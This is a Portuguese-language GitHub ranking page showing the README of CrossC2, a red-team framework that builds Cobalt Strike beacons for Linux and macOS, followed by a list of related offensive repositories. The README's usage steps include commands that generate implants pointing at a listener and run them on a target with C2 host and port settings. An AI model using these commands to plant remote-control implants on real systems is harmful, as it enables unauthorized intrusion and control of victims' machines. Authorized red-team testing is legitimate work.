Voltar ao ranking

gloxec/CrossC2

C

generate CobaltStrike's cross-platform payload

cobalt-strikelinuxmacosandroidioscross-platformredteam
Crescimento de estrelas
Estrelas
2.6k
Forks
373
Crescimento semanal
Issues
41
1k2k
jan. de 2020mar. de 2022mai. de 2024jul. de 2026
README

CrossC2 framework

 Linux  macOS GitHub issues-closed Release Downloads

CrossC2 Logo

README | 中文文档 | README_FULL | 中文完整文档

CobaltStrike support

Support CobaltStrike's security assessment of other platforms (Linux/MacOS/...), and include the development support of Unix post-penetration module

CS3.14(bug fixes) CS4.0 CS4.X (4.1~4.8)
Master branch
cs4.0 branch
cs4.1 branch
Release Page <= v2.1
Release Page >= v2.2

2023-07-31 16.56.51

Usage

  1. Download

Download CrossC2.cna genCrossC2 CrossC2Kit, modify CrossC2.cna configuration

  1. Create listener and copy key
  • Create windows/beacon_https/reverse_https listener
  • Copy .cobaltstrike.beacon_keys in teamserver directory to local
  1. Function extension
  • Add CrossC2Kit_Loader.cna, including memory loading and other functions
  • cs4.x version file management, process list function is missing, you must use this Loader to restart
  1. Generate beacon

Use the GUI function provided by cli or cna to generate beacon by default

genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> <target_platform> <target_arch>

ex:

1. read BEACON_KEY from current path and generate BEACON of default C2Profile traffic protocol
    genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out
     
2. specify the BEACON of the custom protocol dynamic library
    genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out

3. specify the C2Profile that needs to be automatically parsed
    genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

more advanced configuration can be found in the documentation: 📄Reference

  1. Run beacon
  • Run the one-click online script generated by the CrossC2 plugin on the target
  • After uploading the beacon to the target machine for empowered operation
  • Set the working directory for beacon and run: export CCPATH=/opt/ && /tmp/c2
  • Temporarily specify the protocol library for beacon and run: /tmp/c2 /tmp/c2-rebind.so
  • Temporarily set C2 configuration for beacon: export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
  • Set DEBUG to view the online status of beacon: export CCDEBUG=1 && /tmp/c2

CrossC2Kit

CrossC2Kit: https://github.com/CrossC2/CrossC2Kit

CrossC2Kit is an infiltration expansion around the Unix platform derived from CrossC2. Use Aggressor Script Open Source Script engine. It can be used to create automation to simulate the operation process of the Red Team and expand the CobaltStrike client.

CrossC2Kit is inherited from the original features of CobaltStrike, so the development and writing grammar still refer to the official documentation: https://trial.cobaltstrike.com/aggressor-script/index.html

But it has some API extensions on top of CrossC2 to control the beacon of the Unix platform

API: 📄Reference

Demo: CrossC2_action2

Note

Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.

Todo

  1. http-proxy (auth) & socks proxy back connection support
  2. node beacon? (Single node type, can host other beacon without relying on teamserver)
  3. Linux & MacOS side so/dylib's reverse shell support, and its derivative process injection functions

Thank

Thanks to @Emma for the Logo designed for CrossC2, which is designed in the style of Armitage and CobaltStrike series

Repositórios relacionados
yeyintminthuhtut/Awesome-Red-Teaming

List of Awesome Red Teaming Resources

MIT Licensecobalt-strikephishing
8k1.7k
Mr-xn/Penetration_Testing_POC

渗透测试有关的POC、EXP、脚本、提权、小工具等---About penetration-testing python-script poc getshell csrf xss cms php-getshell domainmod-xss csrf-webshell cobub-razor cve rce sql sql-poc poc-exp bypass oa-getshell cve-cms

HTMLApache License 2.0penetration-testingpoc
mrxn.net
7.4k2k
FunnyWolf/Viper

Adversary simulation and Red teaming platform with AI

metasploit-frameworkpost-exploitation
viperrtp.com
5.2k688
bluscreenofjeff/Red-Team-Infrastructure-Wiki

Wiki to collect Red Team infrastructure hardening resources

BSD 3-Clause "New" or "Revised" Licenseinfrastructureredirector
4.5k907
zer0yu/Awesome-CobaltStrike

List of Awesome CobaltStrike Resources

cobalt-strikesecurity
github.com/zer0yu/Awesome-CobaltStrike
4.4k763
fortra/nanodump

The swiss army knife of LSASS dumping

CMIT Licensecnabof
coresecurity.com/core-labs/articles/nanodump-red-team-approach-minidumps
2.1k271
hlldz/Phant0m

Windows Event Log Killer

Cpowershellwindows
1.8k305
Adminisme/ServerScan

ServerScan一款使用Golang开发的高并发网络扫描、服务探测工具。

GoGo ModulesGNU General Public License v3.0serverscanpentest-tool
github.com/Adminisme/ServerScan
1.6k210
harleyQu1nn/AggressorScripts

Collection of Aggressor scripts for Cobalt Strike 3.0+ pulled from multiple sources

C#cnaaggressor-scripts
1.5k304
FunnyWolf/pystinger

Bypass firewall for traffic forwarding using webshell

PythonPyPIBSD 3-Clause "New" or "Revised" Licenseregeorgwebshell
1.4k204
MichaelKoczwara/Awesome-CobaltStrike-Defence

Defences against Cobalt Strike

MIT Licensecobalt-strikecobaltstrike-defence
1.3k192
k8gege/K8CScan

K8Ladon大型内网渗透自定义插件化扫描神器,包含信息收集、网络资产、漏洞扫描、密码爆破、漏洞利用,程序采用多线程批量扫描大型内网多个IP段C段主机,目前插件包含: C段旁注扫描、子域名扫描、Ftp密码爆破、Mysql密码爆破、Oracle密码爆破、MSSQL密码爆破、Windows/Linux系统密码爆破、存活主机扫描、端口扫描、Web信息探测、操作系统版本探测、Cisco思科设备扫描等,支持调用任意外部程序或脚本,支持Cobalt Strike联动

PythonPyPIMIT Licensecobalt-strikeportscan
1.3k329